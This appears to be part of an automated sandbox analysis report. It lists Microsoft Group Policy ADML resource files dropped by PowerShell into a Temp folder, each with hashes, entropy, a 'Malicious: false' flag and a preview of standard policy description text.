Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DCOM">Distributed COM</string>.. <string id="DCOMActivationSecurityCheckAllowLocalList">Allow local activation security check exemptions</string>.. <string id="DCOMActivationSecurityCheckAllowLocalList_Explain">Allows you to specify that local computer administrators can supplement the "Define Activation Security Check exemptions" list.....If you enable this policy setting, and DCOM does not find an explicit entry for a DCOM server application id (appid) in the "Define Activation Security Check exemptions

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DFS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	4.934966284712348
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yAyjP9jlFxUy3QviR0IhjV:cgeD5x8gm8fK0jlFxUM7FV
MD5:	59649458234FA8EC0FA1CCF6D1A1F000
SHA1:	FA84DC8C633AC66D93C2CC4CA82973690CC01B06
SHA-256:	7C621BDFA9AAFBB72C6E3EAA6BD9DADB9B87B76FF3085C3AB85F94A4BA74148B
SHA-512:	3DAC7345CDF6E474EC6550890D2581E97CECCBDF3D6DA446D0B4051600B81E66725E20E3905FC8ED051E00AE74B7899ECEC073C828E776FB664731218F88E528
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DFSDiscoverDC">Configure how often a DFS client discovers domain controllers</string>.. <string id="DFSDiscoverDC_Help">This policy setting allows you to configure how often a Distributed File System (DFS) client attempts to discover domain controllers on a network. By default, a DFS client attempts to discover domain controllers every 15 minutes.....If you enable this policy setting, you can configure how often a DFS client attempts to discover domain controllers. This value is specified in minutes.....If you

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DWM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4823
Entropy (8bit):	4.829103521253636
Encrypted:	false
SSDEEP:	96:LeD5pm8i9yPYwH70day2JGkA5mZAOtfMtlV:E1i9Yn0zMA3G6
MD5:	8C0C1F2AC3237B8AA71F88A5650C0E68
SHA1:	8A39FC535339841CC7573B1DCFF729CEC8E54114
SHA-256:	844BF77E54E0C353537B0D1349F0173049DD36C0CB64EAEE900663CD0A227AB4
SHA-512:	C6F8AC395D011EC45EBF47812EBEBF7E152DB6A943566B744AA83B22529DF07E3D0749D008B5F3A8A46953CCCF39305966869E5EFE502B1E727CF55ED7A05F4F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CAT_DesktopWindowManager">Desktop Window Manager</string>.. <string id="CAT_DesktopWindowManagerColorization">Window Frame Coloring</string>.. <string id="DwmDefaultColorizationColor">Specify a default color</string>.. <string id="DwmDefaultColorizationColorExplain">This policy setting controls the default color for window frames when the user does not specify a color. ....If you enable this policy setting and specify a default color, this color is used in glass window frames, if the user does not sp

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Desktop.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (543), with CRLF line terminators
Category:	dropped
Size (bytes):	22651
Entropy (8bit):	4.740040645096249
Encrypted:	false
SSDEEP:	384:sHlNSiouVHqVHdjZjfYBi1lkmX15/5GYyr2cci:qNSiVs9jBwBiHk0v/5Grrh
MD5:	3B0954050C6DFF90CAE771936C61F536
SHA1:	5D6D1097DE13011B78271272B87DE55C2BFFCEA8
SHA-256:	F8DA2C6952EBABA7C70F5BB5941532A2E6112955E3E340F003581E96BB7B0881
SHA-512:	097C9E8A0B5BC0B97777F6A591E7CEF5A2362668B05C42624593069FD4F2E6279EA8D83CBCADA7C973E9E1CCED78B1149889A333021FA904A23BF0D6FBEC06FC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDesktop">Desktop</string>.. <string id="ActiveDirectory">Active Directory</string>.. <string id="AD_EnableFilter">Enable filter in Find dialog box</string>.. <string id="AD_EnableFilter_Help">Displays the filter bar above the results of an Active Directory search. The filter bar consists of buttons for applying additional filters to search results.....If you enable this setting, the filter bar appears when the Active Directory Find dialog box opens, but users can hide it.....If you disable this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DeviceCompat.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1012
Entropy (8bit):	5.014566400985145
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yFMNWe2PEYLdFV:cgeD5x8gm8fKOE+FV
MD5:	8C5BFC23602CF18E6EC73BDF468C5C65
SHA1:	87C49103ECB11F3284DE1311D305CE426DA77573
SHA-256:	5FE3FC627DFAEDDEDDD5C617D4DDD1AB367353A97026268C27AB45B8A9025472
SHA-512:	ED4BF6B6D7F2F5B248DF14DAA85551613583E8DCFD734266E08296F0DCB52055A2CAD56C23DDFA20EA3315A9DD3B3D538EE673C89E97CFC8D5D9BE39BB575794
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceCompat">Device and Driver Compatibility</string>.. <string id="DeviceFlags">Device compatibility settings</string>.. <string id="DriverShims">Driver compatibility settings</string>.. <string id="DeviceFlags_Help">Changes behavior of Microsoft bus drivers to work with specific devices.</string>.. <string id="DriverShims_Help">Changes behavior of 3rd-party drivers to work around incompatibilities introduced between OS versions.</string>.. </stringTable>.. </resources>..</policyDefinition

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DeviceInstallation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (671), with CRLF line terminators
Category:	dropped
Size (bytes):	20516
Entropy (8bit):	4.656487634133671
Encrypted:	false
SSDEEP:	384:/Zy2dT4b3O+5KeqO+cpm964BNLKsuV2r4tFHsAvRzw3g:/ZBub+EKebxpm97ODVy4rHb5EQ
MD5:	B0D80E37838946A958789511D6090800
SHA1:	E80EBC94D870B40E9925D9473E83438287A3DF50
SHA-256:	EAD0368B0AB7404ADDC0B8BD016E04D43C7A1E370A2875A6785863A53CC94095
SHA-512:	A13D7AA56FA39803B8CB441DD6907A0F06E2B89EB478B6C6D57687F0E154DE44EF959411627C33D5652D096E439F6518C624A4F159189C8DA7AD51370FB12AD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceInstall_AllowAdminInstall">Allow administrators to override Device Installation Restriction policies</string>.. <string id="DeviceInstall_AllowAdminInstall_Help">This policy setting allows you to determine whether members of the Administrators group can install and update the drivers for any device, regardless of other policy settings.....If you enable this policy setting, members of the Administrators group can use the Add Hardware wizard or the Update Driver wizard to install and update the drivers for

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DeviceSetup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	8722
Entropy (8bit):	4.755555827203055
Encrypted:	false
SSDEEP:	96:LeD5pm90hTxQOL2iYoQkdN+Rn+kJu+G6f9Yh3VfPtvCchfvaCz+51qMnHV:EbTmUvQkdN+F+au+G6etntbz+5su
MD5:	9E7C326DCCFD5BDAE53F0FF7359042CF
SHA1:	BFC33D23A42406EF057AC21BCECA4310C256C901
SHA-256:	4E1BC9FDA548EEBF29A499B61CE0462983DD461DB84F4B2C63150636B917036B
SHA-512:	96C937F5F6871D7BD0F3FDF0B6D502232C29C6E77DE7B1FD0A79DB4ADBC7EAAFBC0A60C76C8AF6D5D85CA7397A4C995BE385320C64D23076A7658C1B1187A624
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceInstall_BalloonTips">Turn off "Found New Hardware" balloons during device installation</string>.. <string id="DeviceInstall_BalloonTips_Help">This policy setting allows you to turn off "Found New Hardware" balloons during device installation.....If you enable this policy setting, "Found New Hardware" balloons do not appear while a device is being installed.....If you disable or do not configure this policy setting, "Found New Hardware" balloons appear while a device is being installed, unless the driver

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DigitalLocker.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	5.006514157459994
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEgDfJvRl9xCRMRq9MXJz1c2igRE3RwMwFxRjX/5Ron:cgeD5x8gm8fKqTtW9M71ibKMFV
MD5:	A4EECA9FC18FD2F595ECC98FD40E0F5F
SHA1:	EFBAB95F94C418BE4B025F3CA14BA3441C1D7CE8
SHA-256:	348B0A60BCA267759CA52611C67B06AB3347CAB23786C257D984EB7F3F94C6A2
SHA-512:	11A2FB546E64CA105CE63E313FCDDE0950939C5981BEEC4D04CEB0C0C43EB573CC3C5444E71BBD12AD04A902CB4D3FC7C41EB4E9BA601232041716CEE0835622
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Digitalx_DiableApplication_TitleText">Do not allow Digital Locker to run</string>.. <string id="Digitalx_DisableApplication_DescriptionText">Specifies whether Digital Locker can run.....Digital Locker is a dedicated download manager associated with Windows Marketplace and a feature of Windows that can be used to manage and download products acquired and stored in the user's Windows Marketplace Digital Locker.....If you enable this setting, Digital Locker will not run.....If you disable or do not configure this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DiskDiagnostic.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (349), with CRLF line terminators
Category:	dropped
Size (bytes):	4016
Entropy (8bit):	4.799918196062888
Encrypted:	false
SSDEEP:	96:LeD5pmNIlyc4TNq1nCsXGT1fnC7SqnBU+l4vnjzyJ1nCsXGT1fnWmoV:EeIlyc4TN0psngSUG+l4vnjzy3psnWP
MD5:	98FB5567E5194E5E7430C553FD07EE50
SHA1:	9CD9DE9B3E9FAD928DCBB73225B7F77B21D7F532
SHA-256:	3EE2D33B8C14490D4315F669873B1E4747EF4C99CF83CB3214FBE02774DF322D
SHA-512:	2DC8749CB1E401E4A7753933861081D80AB9D11D349730289E36FD59EF3F76CFCE63AC71864B7239C05CFAD12F89D7991F1AA79E78751F926A941F82EADD23C3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. BEGIN: Custom supportedOn strings -->.. <string id="SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista">.. Windows Server 2008 with Desktop Experience installed or Windows Vista.. </string>.. END: Custom supportedOn strings -->.. <string id="DfdAlertPolicy">Disk Diagnostic: Configure custom alert text</string>.. <string id="DfdAlertPolicyExplain">This policy setting substitutes custom alert text in the disk diagnostic message shown to users when a disk reports a S.M.A.R.T. f

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DiskNVCache.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	4247
Entropy (8bit):	4.68691343915682
Encrypted:	false
SSDEEP:	96:LeD5pm+vfC9KJ5V/MztbEUiTKD48mRCjme9E5J9eWFV:EJN/MdEUiTKs8mwM8Wn
MD5:	74FF3350EF82B0E11EF64C762CF28BE3
SHA1:	8D7BB871CC583EB03E3E104FDC50FCBC974527EB
SHA-256:	D94738C802A64BDA9CCA3947096A97B4DAC05730BD55441ED552595422103A9F
SHA-512:	0729601AD1E861F7DA3E39ECC3878A37AFA3E37C92924446B28FA6BDFB4189D024B7F4E5CE0BF29FE4EB3B51DFA98FE07B7A560DDC521FBDAB4E50EA6C6160C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="BootResumePolicy">Turn off boot and resume optimizations</string>.. <string id="BootResumePolicyHelp">This policy setting turns off the boot and resume optimizations for the hybrid hard disks in the system.....If you enable this policy setting, the system does not use the non-volatile (NV) cache to optimize boot and resume.....If you disable this policy setting, the system uses the NV cache to achieve faster boot and resume. The system determines the data that will be stored in the NV cache to optimize boot an

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DiskQuota.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	9312
Entropy (8bit):	4.685669628790155
Encrypted:	false
SSDEEP:	96:LeD5pmUA7x7OOWbm7kiE7EC/8GxKU0zOZqIc5fKSuBGfvbKqbKJajDrSy5G+YGmI:EOpKz98U0CgfKSFnWqBXrjksmw03Tja
MD5:	40CA6688DCC63C37ADC92B8CE44A47E1
SHA1:	584E5E4433F642B09081A68167436F41D3615867
SHA-256:	9EA35D39FAB49421022E213BE5B8A66404B41BEB2202E17C94BF557FB8C349C4
SHA-512:	7711A24BE790431495051BAE7DA407FA961748374C0936CB49FD4F421425C4D92458C5F8E2C356E70923EB91D0DE100D6EB7F401D2EF03A18DD590F7FEF8314A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DiskQuota">Disk Quotas</string>.. <string id="DQ_Enable">Enable disk quotas</string>.. <string id="DQ_Enable_Help">This policy setting turns on and turns off disk quota management on all NTFS volumes of the computer, and prevents users from changing the setting.....If you enable this policy setting, disk quota management is turned on, and users cannot turn it off.....If you disable the policy setting, disk quota management is turned off, and users cannot turn it on.....If this policy setting is not config

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DistributedLinkTracking.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (575), with CRLF line terminators
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.961559763430255
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQJmjI7JMHkJNMLsDe7MBMZc1zcqoFV:cgeD5x8gm8fKxmEPnMLkeKMokFV
MD5:	8B49ABCA606DF290D14944330F11A796
SHA1:	5FD7496C8553485972A7B35E75386A0CB98199AF
SHA-256:	25D3882376CC864E14BF8CBD16065971C8C5F1C88FCEF7C60B4213604F893272
SHA-512:	F7C3B0CE37F00F281DCDF46A421295D2CD79298852B2302624CD4AFD27EED160FFB4B9003C2096851DD884E8708000282D55876CFC1FA853DCB437FA65D3F8F3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DLT_AllowDomainMode">Allow Distributed Link Tracking clients to use domain resources</string>.. <string id="DLT_AllowDomainMode_Explain">Specifies that Distributed Link Tracking clients in this domain may use the Distributed Link Tracking (DLT) server, which runs on domain controllers. The DLT client enables programs to track linked files that are moved within an NTFS volume, to another NTFS volume on the same computer, or to an NTFS volume on another computer. The DLT client can more reliably track links

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DnsClient.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (896), with CRLF line terminators
Category:	dropped
Size (bytes):	31344
Entropy (8bit):	4.717542963262439
Encrypted:	false
SSDEEP:	384:zlbkZcHOReR932i5D5Zbng2C5stOeoXYaYENfOenLtWeoXYaYENfwleyLLhbxEHq:u5XYlXYfleQlnzmW
MD5:	7B88F32185E7AEE9D215D367F531C628
SHA1:	086E5D851CBD967E907A54539DA3DE95F2F53916
SHA-256:	A60EA72F20C54DC7362CB26A10970B4BEDAC5E257E20317BD2CACA1E289DB08D
SHA-512:	70CF1A3642D0C6D6866B713DE7A52857CB550C6490B8C62A9605BEFE3811525C3081DCE9DE9F881C361FE88694C256EB03EA168FD489BE9CB0AC48AE4F244BAE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DNS_Client">DNS Client</string>.. <string id="DNS_Domain">Connection-specific DNS suffix</string>.. <string id="DNS_Domain_Help">Specifies a connection-specific DNS suffix. This policy setting supersedes local connection-specific DNS suffixes, and those configured using DHCP.....To use this policy setting, click Enabled, and then enter a string value representing the DNS suffix.....If you enable this policy setting, the DNS suffix that you enter will be applied to all network connections used by computers

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EAIME.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7775
Entropy (8bit):	4.801945943527714
Encrypted:	false
SSDEEP:	192:Els7BYDGrS9SqHBf0IpqGKJkPsmcjtJiANpyhSz9zxbBiy:A0bMsBHiANpyh89zxbl
MD5:	A2F0FA1F7B955635BAEF6D42E1019FAD
SHA1:	52F10ED5BB525A53AD000BAB3D0AD3A8CC696CB9
SHA-256:	F54FFC98753D1F03710F912F456B1639B18EC692D2E41FF529A79C5BA8A38B8B
SHA-512:	1BB3F4D5A8895C0AA0373E6EBA93636B022BB9709DE40408C46924664A63390593B386EF5A3968F0DBA8DB31F02AFB20455C7AAB95E2498DEB466E89C335D0D9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="L_IME">IME</string>.. <string id="L_TurnOnMisconversionLoggingForMisconversionReport">Turn on misconversion logging for misconversion report</string>.. <string id="L_TurnOnMisconversionLoggingForMisconversionReportExplain">This policy setting allows you to turn on logging of misconversion for the misconversion report.....If you enable this policy setting, misconversion logging is turned on.....If you disable or do not configure this policy setting, misconversion logging is turned off. ....This policy sett

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EarlyLaunchAM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (335), with CRLF line terminators
Category:	dropped
Size (bytes):	2537
Entropy (8bit):	4.7263609685346974
Encrypted:	false
SSDEEP:	48:yafKUwDTjsFQCzwDNgVC2G1KJzDD8xr2rZkwJXW2V:yuujKQCzwDWC2G1wzDQr2rZkaV
MD5:	75AAE2A1219696C7D046F25DA1C331B8
SHA1:	0E20307FC43CECFD876B2A03CE998204A4A9D932
SHA-256:	5A5BAD4A99052A7DFFAD794A712F606F4421D0323AF8BA4121BB02034C917C1C
SHA-512:	18DE3563DB066BB209792A31096B0B98BDF8C2BFE9BBE077D9F2443513F60D3896ACECA4362D26F08F1CF43E3E37EEE242D2E608958E0CFF2136DA65A9B1AB46
Malicious:	false
Preview:	<policyDefinitionResources revision="1.0" schemaVersion="1.0">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ELAMCategory">Early Launch Antimalware</string>.. <string id="POL_DriverLoadPolicy_Name">Boot-Start Driver Initialization Policy</string>.. <string id="POL_DriverLoadPolicy_Name_Help">This policy setting allows you to specify which boot-start drivers are initialized based on a classification determined by an Early Launch Antimalware boot-start driver. The Early Launch Antimalware boot-start driver can return the following classifications for each boot-start driver:..- Good: The driver has been signed and has not been tampered with...- Bad: The driver has been identified as malware. It is recommended that you do not allow known bad drivers to be initialized...- Bad, but required for boot: The driver has been identified as malware, but the computer cannot

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EdgeUI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4475
Entropy (8bit):	4.731397984218957
Encrypted:	false
SSDEEP:	48:cs+D5x8gm8fK0QfhWpiSbXFNWf7DwirbOgSuvmrIvZZsSuvLD49MCD49Ms+qDxsL:P+D5pmYYh7SeDDrbQUCMOZxq0/tWFV
MD5:	47245202B642C2B6443C63A220226B22
SHA1:	6C3DEDBC58314BF1EDCA6EA0D8161E80B8013B1D
SHA-256:	59B4266A7E379E4047910594D63B44F4A251684A3C97F74CC16585B2779871AD
SHA-512:	4470B0A9568B88965C077F8690BB48BEA88D15A148F2C402D47C17EBB6F52BFB1194FB4B0C328E22DC3772FEF38DCF4E0D33FC966312CAFDFCFA1D0F2539D7E8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EdgeUI">Edge UI</string>.. <string id="EdgeUI_Help">Contains settings related to system user interfaces attached to the screen edges.</string>.. <string id="TurnOffBackstack">Turn off switching between recent apps</string>.. <string id="TurnOffBackstack_Help">If you enable this setting, users will not be allowed to switch between recent apps. The App Switching option in the PC settings app will be disabled as well.....If you disable or do not configure this policy setting, users will be allowed to sw

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EncryptFilesonMove.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1260
Entropy (8bit):	4.910898508580554
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ykJvSmJjbLgn7OL2dOrL0ZFp4D/FV:cgeD5x8gm8fKvJDJ074rFV
MD5:	F09A4E370D3321A61FC7456B9A007360
SHA1:	58E0F3E0213B3FF00E2C6694D6A0D3A71D9DE55E
SHA-256:	E32ECF04721C0695C125F1F8E3ECC0ED14179FC85045C1C44C0D4CCDAA74D085
SHA-512:	0BEB4C675E79A2234CAD73F0ADBCAE49B7ED4CD8F62BD6DAC0985EB4C9DBF7C3387B2CEB74C67C2D0052287FD436BECF8D415D22ED72AAB7B296E15C9DFEFECC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NoEncryptOnMove">Do not automatically encrypt files moved to encrypted folders</string>.. <string id="NoEncryptOnMove_Help">This policy setting prevents File Explorer from encrypting files that are moved to an encrypted folder.....If you enable this policy setting, File Explorer will not automatically encrypt files that are moved to an encrypted folder.....If you disable or do not configure this policy setting, File Explorer automatically encrypts files that are moved to an encrypted folder.....This setting ap

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ErrorReporting.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (790), with CRLF line terminators
Category:	dropped
Size (bytes):	30768
Entropy (8bit):	4.691623979168484
Encrypted:	false
SSDEEP:	384:hAUh6Hw6B8HwwHhZK3KwrQGj4UQ6ic6jKqBO1Mck1S:hAU8MwwHnwiUQXro
MD5:	8AB1308CBA6530C458F432AB454C3070
SHA1:	099E6CF6F6108281974B2992B3B40E0AED58A994
SHA-256:	0E087D6F548B2CDBF2C2EA12CE78DC4F8B9D1A4979AE6FD955CAC4D350AAFABD
SHA-512:	C19FDEC863339CB92AF86EE3C2244A13E330B4641241A693D1BD61128AB3A13076652AAD0AC8EB8D757760437311CB12CD94D43AC947CE0361EEA7E8DC99E60D
Malicious:	false
